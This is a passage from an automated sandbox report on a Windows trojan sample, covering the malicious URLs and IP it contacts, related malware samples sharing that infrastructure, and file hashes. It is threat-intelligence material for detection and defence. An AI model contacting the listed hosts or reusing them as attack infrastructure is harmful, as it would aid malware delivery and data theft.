https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~1	zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgP0	zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgD	zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/-4c6f-abc3-57d03ec4c7ad	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgase	zrNcqxZRSM.exe, 00000000.00000002.3409030268.000001A266CC0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgw1J	zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2397439674.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2472265118.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2203567050.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgity	zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2213879083.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2679476654.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~	zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglHH	zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/dt	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg;	zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgL1	zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpga1X	zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2397439674.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/F	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/tes	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgiaojingjingaihuifeng.xyz	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl=K	zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgh1A	zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg?1	zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2679476654.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgpany	zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	cs.xiaojingjingaihuifeng.xyz	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587584
Start date and time:	2025-01-10 15:12:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	zrNcqxZRSM.exe renamed because original name is a hash value
Original Sample Name:	2698d20741e70dd169a307778685c083.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@2/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 22 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56, 4.175.87.197
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:13:15	API Interceptor	117x Sleep call for process: zrNcqxZRSM.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	1162-201.exe	Get hash	malicious	FormBook	Browse	www.einpisalpace.shop/pgw3/
	https://ik.imagekit.io/nrof2h909/Sherman%20Pruitt,%20Chief%20of%20Police,%20MSCJ.pdf?updatedAt=1736444487005	Get hash	malicious	Unknown	Browse	jackoffjackofflilliilkillxoopoeadonline.top/drive/
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/?xP7x=4VB/N4F6tibqC9FQILosJ+n1llTK4MiF4YtEqiz3GsaSMOHPZtZI38ZqeQNXmBxLoc2gIm7YkXHcJ/CISLsxa/r9DhwgcU3z86+N04yu78wK1Du9wX32CCg=&F4=Q0yHy
	GTA5-elamigos.exe	Get hash	malicious	Esquele Stealer	Browse	/api/get/dll
	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	https://samantacatering.com/	Get hash	malicious	Unknown	Browse	104.21.83.97
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	104.17.24.14
	random.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.79.9
	http://arpaeq.ca	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	104.22.72.81

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	188.114.96.3
	FIWszl1A8l.exe	Get hash	malicious	GhostRat	Browse	188.114.96.3
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	n41dQbiw1Y.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	stage3.exe	Get hash	malicious	CobaltStrike	Browse	188.114.96.3
	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	188.114.96.3
	DyM4yXX.exe	Get hash	malicious	Vidar	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.069267569676341
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	zrNcqxZRSM.exe
File size:	1'880'576 bytes
MD5:	2698d20741e70dd169a307778685c083
SHA1:	422a5dcf9e4a52d35d7de830879f3d9417fed263
SHA256:	103398cd38586819bdb93a1d4a95ead155becc718c2ba96764598eafb073d79b
SHA512:	95d1d428f6f18c393fbe1bfe182b16c97728fd55a6c6b9d76fd6f13a1feffc4ddf01d8ee0ad80061e48cdf519eaf0d5e82396b6386bb995c05a7ec430fd55434
SSDEEP:	24576:lSX7P1/EmHZI9KLoYghoHmH7GKjU+oJRQoY3Y5w2FYp4b:lk7ZEmHZdL0KHmyKjuw2t
